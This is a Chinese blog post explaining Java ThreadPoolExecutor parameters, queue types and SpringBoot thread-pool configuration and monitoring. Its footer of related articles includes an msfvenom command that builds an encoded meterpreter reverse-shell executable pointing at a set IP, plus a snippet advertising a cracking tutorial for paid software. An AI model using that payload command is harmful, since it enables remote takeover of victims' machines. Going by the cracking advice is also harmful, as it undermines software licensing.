线程池详解:在SpringBoot中的最佳实践

线程池详解:在SpringBoot中的最佳实践

引言

在Java并发编程中,线程池是一种非常重要的资源管理工具,它允许我们在应用程序中有效地管理和重用线程,从而提高性能并降低资源消耗。特别是在SpringBoot等企业级应用中,正确使用线程池对于应用程序的稳定性和性能至关重要。

根据阿里巴巴《Java开发手册》中的强制要求:

【强制要求】线程池不允许使用Executors去创建,而是通过ThreadPoolExecutor的方式,这样的处理方式让写的同学更加明确线程池的运行规则,规避资源耗尽的风险。

说明:Executors返回的线程池对象的弊端如下:
1) FixedThreadPool和SingleThreadPool:允许的请求队列长度为Integer.MAX_VALUE,可能会堆积大量的请求,从而导致OOM。
2)CachedThreadPool:允许的创建线程数量为Integer.MAX_VALUE,可能会创建大量的线程,从而导致OOM。

本文将详细介绍线程池的基本原理、常用的工作队列类型及其优缺点,以及在SpringBoot中的简单实现方式。

线程池的基本原理

线程池的核心思想是复用线程,避免频繁创建和销毁线程所带来的性能开销。它的工作流程如下:

  1. 当有新任务提交时,线程池会判断当前运行的线程数是否小于核心线程数(corePoolSize),如果是,则创建新线程执行任务。
  2. 如果当前运行的线程数等于或大于核心线程数,则将任务放入工作队列。
  3. 如果工作队列已满,且当前线程数小于最大线程数(maximumPoolSize),则创建新线程执行任务。
  4. 如果工作队列已满,且当前线程数等于或大于最大线程数,则根据拒绝策略处理该任务。
        ┌─────────────────┐         ┌───────────────┐         ┌─────────────────┐│                 │         │               │         │                 ││   corePoolSize  │─────────│  workQueue    │─────────│  maximumPoolSize││   核心线程数    │         │  工作队列     │         │  最大线程数     │└─────────────────┘         └───────────────┘         └─────────────────┘│                         │                          ││                         │                          │▼                         ▼                          ▼┌─────────────────┐         ┌───────────────┐         ┌─────────────────┐│ 创建新线程执行  │         │ 放入工作队列  │         │  创建新线程执行 │└─────────────────┘         └───────────────┘         └─────────────────┘││▼┌─────────────────┐│   拒绝策略     │└─────────────────┘

两次创建线程对比:

对比维度第一次创建(核心线程)第二次创建(非核心线程)
触发条件线程数 < corePoolSize线程数 ≥ corePoolSize 队列已满
线程性质核心线程,默认长期存活临时线程,空闲超时后被回收
目的维持基础并发能力应对突发流量,防止队列积压
是否受keepAliveTime影响默认否(需设置allowCoreThreadTimeOut=true

ThreadPoolExecutor的主要参数

ThreadPoolExecutor构造函数有7个参数:

public ThreadPoolExecutor(int corePoolSize,                 // 核心线程数int maximumPoolSize,              // 最大线程数long keepAliveTime,               // 空闲线程存活时间TimeUnit unit,                    // 时间单位BlockingQueue<Runnable> workQueue, // 工作队列ThreadFactory threadFactory,      // 线程工厂RejectedExecutionHandler handler  // 拒绝策略
)

参数详解

  1. corePoolSize:核心线程数,线程池中会维持的最小线程数,即使它们处于空闲状态。
  2. maximumPoolSize:最大线程数,线程池允许创建的最大线程数。
  3. keepAliveTime:空闲线程的存活时间,当线程数大于核心线程数时,多余的空闲线程存活的最长时间。
  4. unit:keepAliveTime的时间单位。
  5. workQueue:工作队列,用于存放待执行的任务。常用的有:
    • ArrayBlockingQueue:基于数组的有界阻塞队列,按FIFO排序。
    • LinkedBlockingQueue:基于链表的阻塞队列,按FIFO排序,容量可选,如不指定则为Integer.MAX_VALUE。
    • SynchronousQueue:不存储元素的阻塞队列,插入操作必须等待另一个线程的删除操作。
    • PriorityBlockingQueue:具有优先级的无界阻塞队列。
  6. threadFactory:线程工厂,用于创建新线程,可以自定义线程的名称、优先级等。
  7. handler:拒绝策略,当工作队列已满且线程数达到maximumPoolSize时,如何处理新提交的任务。常用的有:
    • AbortPolicy:直接抛出RejectedExecutionException异常(默认)。
    • CallerRunsPolicy:由提交任务的线程自己执行该任务。
    • DiscardPolicy:直接丢弃任务,不抛出异常。
    • DiscardOldestPolicy:丢弃队列最前面的任务,然后重新提交被拒绝的任务。

工作队列(WorkQueue)类型及优缺点

选择合适的工作队列对线程池的性能影响很大。以下是常用的几种队列类型及其优缺点:

1. ArrayBlockingQueue

基于数组的有界阻塞队列,按FIFO(先进先出)原则对元素进行排序。

优点

  • 有界队列,可以防止资源耗尽
  • 内存占用固定
  • 适合已知任务量的场景

缺点

  • 队列容量一旦设定,无法动态调整
  • 当队列满时,新任务可能会被拒绝
  • 对于突发流量不够灵活
2. LinkedBlockingQueue

基于链表的阻塞队列,按FIFO原则对元素进行排序。

优点

  • 链表结构,动态分配内存
  • 可以指定容量,也可以不指定(默认为Integer.MAX_VALUE)
  • 吞吐量通常高于ArrayBlockingQueue

缺点

  • 如果不指定容量,可能导致OOM(阿里巴巴手册中提到的问题)
  • 每个节点都会占用更多的内存(节点对象的开销)
3. SynchronousQueue

不存储元素的阻塞队列,每个插入操作必须等待另一个线程的删除操作。

优点

  • 直接传递,没有队列容量限制的概念
  • 适合任务处理速度快、不需要队列缓冲的场景
  • 可以避免队列中任务的积压

缺点

  • 没有存储能力,任何时候都无法插入元素,除非有另一个线程正在取出元素
  • 如果没有足够的线程来处理任务,新任务可能会被拒绝
  • 通常需要较大的最大线程数来配合使用
4. PriorityBlockingQueue

具有优先级的无界阻塞队列,元素按优先级顺序出队。

优点

  • 可以按任务优先级执行
  • 适合有任务优先级区分的场景

缺点

  • 无界队列,可能导致OOM
  • 优先级比较会带来额外的性能开销
5. DelayQueue

延迟队列,元素只有到了指定的延迟时间才能被取出。

优点

  • 适合需要延时处理的任务
  • 可以实现定时任务的功能

缺点

  • 无界队列,可能导致OOM
  • 时间依赖性高

SpringBoot中的线程池配置

在SpringBoot应用中配置线程池有多种方式,下面介绍几种常用的方法:

1. 使用@Bean注解创建线程池

@Configuration
public class ThreadPoolConfig {@Beanpublic ThreadPoolExecutor threadPoolExecutor(@Value("${thread.pool.corePoolSize:10}") int corePoolSize,@Value("${thread.pool.maxPoolSize:20}") int maxPoolSize,@Value("${thread.pool.queueCapacity:200}") int queueCapacity,@Value("${thread.pool.keepAliveSeconds:60}") int keepAliveSeconds) {// 使用有界队列BlockingQueue<Runnable> workQueue = new LinkedBlockingQueue<>(queueCapacity);// 自定义线程工厂ThreadFactory threadFactory = new ThreadFactoryBuilder().setNameFormat("业务处理线程-%d").setDaemon(false).setPriority(Thread.NORM_PRIORITY).build();return new ThreadPoolExecutor(corePoolSize,maxPoolSize,keepAliveSeconds,TimeUnit.SECONDS,workQueue,threadFactory,new ThreadPoolExecutor.CallerRunsPolicy());}
}

2. 使用ThreadPoolTaskExecutor(Spring提供的线程池封装)

@Configuration
public class ThreadPoolConfig {@Beanpublic ThreadPoolTaskExecutor taskExecutor() {ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();// 核心线程数executor.setCorePoolSize(10);// 最大线程数executor.setMaxPoolSize(20);// 队列容量executor.setQueueCapacity(200);// 线程最大空闲时间executor.setKeepAliveSeconds(60);// 线程名前缀executor.setThreadNamePrefix("taskExecutor-");// 拒绝策略executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());// 等待所有任务完成后再关闭线程池executor.setWaitForTasksToCompleteOnShutdown(true);// 等待终止的时间executor.setAwaitTerminationSeconds(60);executor.initialize();return executor;}
}

3. 使用@Async注解进行异步调用

首先配置异步执行的线程池:

@Configuration
@EnableAsync
public class AsyncConfig {@Bean("asyncExecutor")public Executor asyncExecutor() {ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();executor.setCorePoolSize(10);executor.setMaxPoolSize(20);executor.setQueueCapacity(200);executor.setKeepAliveSeconds(60);executor.setThreadNamePrefix("Async-");executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());executor.initialize();return executor;}
}

然后在需要异步执行的方法上添加@Async注解:

@Service
public class EmailService {@Async("asyncExecutor")public CompletableFuture<Boolean> sendEmail(String to, String subject, String content) {// 发送邮件的耗时操作return CompletableFuture.completedFuture(Boolean.TRUE);}
}

实际应用场景

1. 批量处理任务

在需要处理大量数据的场景中,可以使用线程池进行并行处理:

@Service
public class BatchProcessService {@Autowiredprivate ThreadPoolTaskExecutor taskExecutor;public void processBatch(List<Data> dataList) {// 分批处理int batchSize = 100;for (int i = 0; i < dataList.size(); i += batchSize) {List<Data> batch = dataList.subList(i, Math.min(i + batchSize, dataList.size()));taskExecutor.submit(() -> processBatchInternal(batch));}}private void processBatchInternal(List<Data> batch) {// 处理单个批次的数据batch.forEach(data -> {// 处理单条数据});}
}

2. 异步通知

在完成某些操作后需要进行异步通知时:

@Service
public class NotificationService {@Autowiredprivate ThreadPoolExecutor threadPoolExecutor;public void sendNotifications(List<String> userIds, String message) {for (String userId : userIds) {threadPoolExecutor.execute(() -> {try {// 发送通知System.out.println("向用户 " + userId + " 发送通知: " + message);} catch (Exception e) {// 错误处理System.err.println("发送通知失败: " + e.getMessage());}});}}
}

3. 定时任务

结合SpringBoot的@Scheduled注解使用自定义线程池:

@Configuration
@EnableScheduling
public class ScheduleConfig implements SchedulingConfigurer {@Autowiredprivate ThreadPoolTaskExecutor taskExecutor;@Overridepublic void configureTasks(ScheduledTaskRegistrar taskRegistrar) {taskRegistrar.setScheduler(scheduledTaskExecutor());}@Bean(destroyMethod = "shutdown")public Executor scheduledTaskExecutor() {return Executors.newScheduledThreadPool(10, r -> {Thread t = new Thread(r);t.setName("scheduled-task-" + t.getId());return t;});}
}@Component
public class DataSyncTask {@Autowiredprivate ThreadPoolTaskExecutor taskExecutor;@Scheduled(cron = "0 0/30 * * * ?") // 每30分钟执行一次public void syncData() {System.out.println("开始数据同步任务...");// 获取需要同步的数据列表List<String> dataIds = getDataIdsToSync();// 使用线程池并行处理for (String dataId : dataIds) {taskExecutor.submit(() -> syncSingleData(dataId));}}private List<String> getDataIdsToSync() {// 获取需要同步的数据ID列表return Arrays.asList("data1", "data2", "data3");}private void syncSingleData(String dataId) {try {System.out.println("同步数据: " + dataId);// 具体同步逻辑...} catch (Exception e) {System.err.println("数据同步失败: " + e.getMessage());}}
}

线程池监控

在生产环境中,监控线程池的运行状态是非常重要的,可以帮助我们及时发现问题并进行调整。

1. 自定义监控指标

@Component
@RequiredArgsConstructor
public class ThreadPoolMonitor {private final ThreadPoolExecutor threadPoolExecutor;private final ThreadPoolTaskExecutor taskExecutor;@Scheduled(fixedRate = 60000) // 每分钟记录一次public void monitorThreadPool() {ThreadPoolExecutor executor = threadPoolExecutor;logThreadPoolStatus("自定义线程池", executor);// 监控ThreadPoolTaskExecutorThreadPoolExecutor tpExecutor = taskExecutor.getThreadPoolExecutor();logThreadPoolStatus("任务执行线程池", tpExecutor);}private void logThreadPoolStatus(String poolName, ThreadPoolExecutor executor) {int activeCount = executor.getActiveCount(); // 活跃线程数int poolSize = executor.getPoolSize(); // 当前线程数int corePoolSize = executor.getCorePoolSize(); // 核心线程数int maximumPoolSize = executor.getMaximumPoolSize(); // 最大线程数long completedTaskCount = executor.getCompletedTaskCount(); // 已完成任务数long taskCount = executor.getTaskCount(); // 总任务数int queueSize = executor.getQueue().size(); // 队列大小log.info("线程池状态 [{}]: 活跃线程数={}, 线程池大小={}, 核心线程数={}, " +"最大线程数={}, 已完成任务数={}, 总任务数={}, 队列中任务数={}, 队列剩余容量={}",poolName, activeCount, poolSize, corePoolSize, maximumPoolSize,completedTaskCount, taskCount, queueSize, (executor.getQueue() instanceof LinkedBlockingQueue)? ((LinkedBlockingQueue<?>) executor.getQueue()).remainingCapacity(): -1);// 计算线程池利用率double utilizationRate = (double) activeCount / poolSize;log.info("线程池 [{}] 利用率: {}", poolName, String.format("%.2f%%", utilizationRate * 100));// 监控任务队列使用情况if (executor.getQueue() instanceof LinkedBlockingQueue) {LinkedBlockingQueue<?> queue = (LinkedBlockingQueue<?>) executor.getQueue();int capacity = queue.size() + queue.remainingCapacity();double queueUsageRate = (double) queueSize / capacity;log.info("队列 [{}] 使用率: {}", poolName, String.format("%.2f%%", queueUsageRate * 100));}// 任务拒绝情况监控(需要自定义RejectedExecutionHandler来记录拒绝次数)if (executor.getRejectedExecutionHandler() instanceof MonitoredRejectedExecutionHandler) {MonitoredRejectedExecutionHandler handler = (MonitoredRejectedExecutionHandler) executor.getRejectedExecutionHandler();log.info("线程池 [{}] 任务拒绝次数: {}", poolName, handler.getRejectedCount());}}// 自定义的拒绝策略处理器,增加了拒绝次数的记录public static class MonitoredRejectedExecutionHandler implements RejectedExecutionHandler {private final RejectedExecutionHandler delegate;private final AtomicLong rejectedCount = new AtomicLong(0);public MonitoredRejectedExecutionHandler(RejectedExecutionHandler delegate) {this.delegate = delegate;}@Overridepublic void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {rejectedCount.incrementAndGet();delegate.rejectedExecution(r, executor);}public long getRejectedCount() {return rejectedCount.get();}}
}

线程池参数选择的经验法则

合理配置线程池参数是很重要的,以下是一些经验法则:

  1. 核心线程数的选择

    • CPU密集型任务:通常设置为CPU核心数 + 1
    • IO密集型任务:可以设置为CPU核心数 * 2
    // 获取CPU核心数
    int processors = Runtime.getRuntime().availableProcessors();
    // CPU密集型任务
    int corePoolSize = processors + 1;
    // IO密集型任务
    int ioPoolSize = processors * 2;
    
  2. 队列容量的选择

    • 要考虑内存资源限制
    • 考虑任务的平均执行时间
    • 考虑系统的负载能力
  3. 拒绝策略的选择

    • 一般推荐使用CallerRunsPolicy,它不会丢弃任务,而是将任务回退给调用者
    • 对于不重要的任务,可以使用DiscardPolicy直接丢弃

常见问题与解决方案

1. 任务执行慢,队列堆积

问题:任务执行速度慢,导致队列中堆积了大量任务。
解决方案

  • 增加核心线程数和最大线程数
  • 优化任务执行逻辑,提高处理速度
  • 使用更合适的队列类型,如优先级队列

2. 频繁触发拒绝策略

问题:经常有任务被拒绝执行。
解决方案

  • 增加队列容量
  • 增加最大线程数
  • 实现更合理的拒绝策略
  • 添加任务提交速率限制

3. OOM问题

问题:使用无界队列导致内存溢出。
解决方案

  • 使用有界队列,如ArrayBlockingQueue或指定容量的LinkedBlockingQueue
  • 监控队列大小,在达到警戒值时采取措施

总结

线程池是Java并发编程中非常重要的工具,正确使用线程池可以提高应用程序的性能和稳定性。在SpringBoot应用中,我们应该遵循阿里巴巴Java开发手册的建议,避免使用Executors创建线程池,而是通过ThreadPoolExecutor明确指定各项参数。

选择合适的工作队列类型、设置合理的线程数量和队列容量,以及实现适当的拒绝策略,这些都是使用线程池时需要考虑的关键因素。通过本文介绍的简单配置方法,你可以在SpringBoot应用中轻松实现一个高效且安全的线程池。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/73513.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年IT行业技术革命全景解析:从AI到量子计算的落地实践

简介 2025年&#xff0c;全球IT行业正经历一场由AI、量子计算、物联网等技术驱动的变革。从BOE的AI制造系统到德易科技的无人机光伏巡检&#xff0c;从鲲鹏处理器的国产化突破到量子计算的算力革命&#xff0c;技术创新正在重塑产业格局。本文结合最新行业动态与实战案例&…

JVM - 年轻代和老年代

通过一些问题来讨论 JVM 中年轻代和老年代的内容 为什么要区分年轻代和老年代&#xff1f;哪些对像会进入老年代&#xff1f;什么时候会进行年轻代GC&#xff1f;什么时候会进行老年代GC&#xff1f; 1. 为什么要区分年轻代和老年代&#xff1f; 年轻代中的对象大部分都是短期…

【react】在react中async/await一般用来实现什么功能

目录 基本概念 工作原理 优点 注意事项 底层原理 实际应用场景 1. 数据获取 (API 请求) 2. 表单提交 3. 异步状态管理 4. 异步路由切换 5. 异步数据预加载 6. 第三方 API 调用 7. 文件上传/下载 8. 路由导航拦截 关键注意事项 基本概念 async 函数&#xff1a;用…

高维小样本数据的在线流特征选择

发布于24年国际学习和控制论杂志 文献地址 简要总结 《Online streaming feature selection for high-dimensional small-sample data》研究了高维小样本数据&#xff08;HDSS&#xff09;在类别不平衡情况下的在线流式特征选择问题&#xff0c;提出了一种名为OSFSHS的算法。…

1688.item_search_seller-搜索店铺列表接口返回数据说明

一、接口概述 item_search_seller 是 1688 提供的一个 API 接口&#xff0c;用于搜索店铺列表。通过该接口&#xff0c;开发者可以查询特定店铺的相关信息&#xff0c;包括店铺的基本信息、商品列表等。该接口广泛应用于电商数据采集、市场调研、店铺分析等场景。 二、接口请…

uniapp主题切换功能,适配H5、小程序

实现方法 方法性能消耗维护成本适用场景内联样式较高低小程序CSS变量属性选择器低中H5混合方案中等低跨平台项目 优势特点 性能优化&#xff1a; H5端使用CSS原生变量切换小程序端使用高效样式字符串生成切换动画流畅 维护性提升 主题配置集中管理新增主题只需要拓展vars对象…

线程未关闭导致资源泄漏

文章目录 资源泄漏&#xff08;线程未关闭&#xff09;问题描述错误实现优化原理正确实现优化原理 资源泄漏&#xff08;线程未关闭&#xff09; 问题描述 应用程序启动时创建线程池处理任务&#xff0c;但未在应用关闭时正确关闭线程池。 现象&#xff1a; 应用重启时&…

MSF木马的生成及免杀

先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#实现UDP服务器

对UDP服务器的要求 如同TCP通信一样让UDP服务端可以服务多个客户端 需要具备的条件&#xff1a; 1.区分消息类型(不需要处理分包、黏包) 2.能够接收多个客户端的消息 3.能够主动给自己发过消息的客户端发消息(记录客户端信息)…

如何在 Postman 中发送 PUT 请求?

在 Postman 中发送 PUT 请求的步骤相对简单&#xff0c;包括新建接口、选择 PUT 方法、填写 URL 和参数等几个主要步骤。 Postman 发送 put 请求教程

charles抓包软件免费使用教程

本文将给大家介绍Charles破解教程&#xff0c;支持Windows和Mac系统&#xff0c;操作简单&#xff0c;永久免费使用。同时&#xff0c;我们也会提到另一款强大的抓包工具——SniffMaster&#xff08;抓包大师&#xff09;&#xff0c;它在网络调试和数据包分析方面同样表现出色…

卷积神经网络 - 参数学习

本文我们通过两个简化的例子&#xff0c;展示如何从前向传播、损失计算&#xff0c;到反向传播推导梯度&#xff0c;再到参数更新&#xff0c;完整地描述卷积层的参数学习过程。 一、例子一 我们构造一个非常简单的卷积神经网络&#xff0c;其结构仅包含一个卷积层和一个输出…

.NET三层架构详解

.NET三层架构详解 文章目录 .NET三层架构详解引言什么是三层架构表示层&#xff08;Presentation Layer&#xff09;业务逻辑层&#xff08;Business Logic Layer&#xff0c;BLL&#xff09;数据访问层&#xff08;Data Access Layer&#xff0c;DAL&#xff09; .NET三层架构…

Redis实战常用二、缓存的使用

一、什么是缓存 在实际开发中,系统需要"避震器"&#xff0c;防止过高的数据访问猛冲系统,导致其操作线程无法及时处理信息而瘫痪. 这在实际开发中对企业讲,对产品口碑,用户评价都是致命的。所以企业非常重视缓存技术; 缓存(Cache)&#xff1a;就是数据交换的缓冲区&…

STM32八股【2】-----ARM架构

1、架构包含哪几部分内容 寄存器处理模式流水线MMU指令集中断FPU总线架构 2、以STM32为例进行介绍 2.1 寄存器 寄存器名称作用R0-R3通用寄存器用于数据传递、计算及函数参数传递&#xff1b;R0 也用于存储函数返回值。R4-R12通用寄存器用于存储局部变量&#xff0c;减少频繁…

effective Java 学习笔记(第二弹)

effective Java 学习笔记&#xff08;第一弹&#xff09; 整理自《effective Java 中文第3版》 本篇笔记整理第3&#xff0c;4章的内容。 重写equals方法需要注意的地方 自反性&#xff1a;对于任何非空引用 x&#xff0c;x.equals(x) 必须返回 true。对称性&#xff1a;对于…

mac命令行快捷键

光标移动 Ctrl A: 将光标移动到行首。Ctrl E: 将光标移动到行尾。Option 左箭头: 向左移动一个单词。Option 右箭头: 向右移动一个单词。 删除和修改 Ctrl K: 删除从光标到行尾的所有内容。Ctrl U: 删除从光标到行首的所有内容。Ctrl W: 删除光标前的一个单词。Ctrl …

CentOS 7部署主域名服务器 DNS

1. 安装 BIND 服务和工具 yum install -y bind bind-utils 2. 配置 BIND 服务 vim /etc/named.conf 修改以下配置项: listen-on port 53 { any; }; # 监听所有接口allow-query { any; }; # 允许所有设备查询 3 . 添加你的域名区域配置 …

优化 SQL 语句方向和提升性能技巧

优化 SQL 语句是提升 MySQL 性能的关键步骤之一。通过优化 SQL 语句,可以减少查询时间、降低服务器负载、提高系统吞吐量。以下是优化 SQL 语句的方法、策略和技巧: 一、优化 SQL 语句的方法 1. 使用 EXPLAIN 分析查询 作用:查看 SQL 语句的执行计划,了解查询是如何执行的…

C++ 多线程简要讲解

std::thread是 C11 标准库中用于多线程编程的核心类&#xff0c;提供线程的创建、管理和同步功能。下面我们一一讲解。 一.构造函数 官网的构造函数如下&#xff1a; 1.默认构造函数和线程创建 thread() noexcept; 作用&#xff1a;创建一个 std::thread 对象&#xff0c;但…